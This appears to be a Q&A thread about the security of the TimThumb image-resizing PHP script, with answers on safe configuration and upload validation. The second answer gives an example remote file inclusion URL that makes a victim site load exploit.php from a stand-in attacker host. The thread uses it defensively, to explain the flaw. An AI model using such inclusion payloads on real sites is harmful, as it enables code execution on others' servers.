TimThumb security alternative or fix?

Question

"An image resizing utility called timthumb.php is widely used by many WordPress themes....The utility only does a partial match on hostnames allowing hackers to upload and execute arbitrary PHP code in your timthumb cache directory... Also recursively grep your WordPress directory and subdirs for the base64_decode function and look out for long encoded strings to check if you’ve been compromised."

"NOTE: timthumb.php is inherently insecure because it relies on being able to write files into a directory that is accessible by people visiting your website. " Source

Comments say that by upgrading to version 2, it becomes harder to exploit the code. Code

It seems the only directory that requires 777 permission is cache, apart that all the folders/files should be default value.

I have added the script to my code-igniter site for image resizing. Should I feel safe using the script at the moment, or should I look for a alternative?

Answer 1

The upgraded version of timthumb has many security mechanisms in place to prevent those vulnerabilities and the code has been more closely inspected after the discovery. I am personally using it on several sites, and would not think it's any less secure than any other alternative. However, it of course depends on the alternatives and I am not aware of any in particular.

There are no guarantees to security. There's always a chance that a new vulnerability would be discovered. But that applies to any product. I tend to think that products that did experience a security issue are likely to take security into account more so than those who didn't experience any issue. That's of course highly individual to the people, product, the environment and so on, so not something to rely on.

Instead I would focus on setting timthumb as securely as possible for your environment. For example, make sure no external image sources are allowed. In such configurations, I believe even the old version of timthumb wasn't vulnerable.

Answer 2

It seems to me that the whole permissions issue is a bit of a red herring. This script seems to allow remote file inclusions by either not properly filtering the file extensions or allowing gif files to be uploaded with exploit code appended to the end of the gif ( and maybe in the exif data as well ).

Off the top of my head, when allowing for uploading, a script should check the following:

• Check exif data for malicious code inclusion ( ex: exif_read_data() )

• Check image dimensions and file size ( to see if they even exist )

• Check at least the beginning and end of code for malicious inclusion,
• Check the content type
• Importantly use a white-list of allowed image extensions

Security issues are sometimes accidentally added by developers in the effort to make image uploading more flexible for users. For example allowing remotely hosted avatars/images to be uploaded. If not checked properly an attacker can upload some malicious code for example into a file with a gif extension and attempt to remotely include it.

Or even using a standard .php extension depending on how badly written the code is, for theoretical example:

www.victimsite.com/?remoteimg=http://www.attacksite.com/images/exploit.php/fakeimage.gif

Some scripts will read the image extension as .gif but when including the so called image, the code is actually including the contents of the exploit.php file.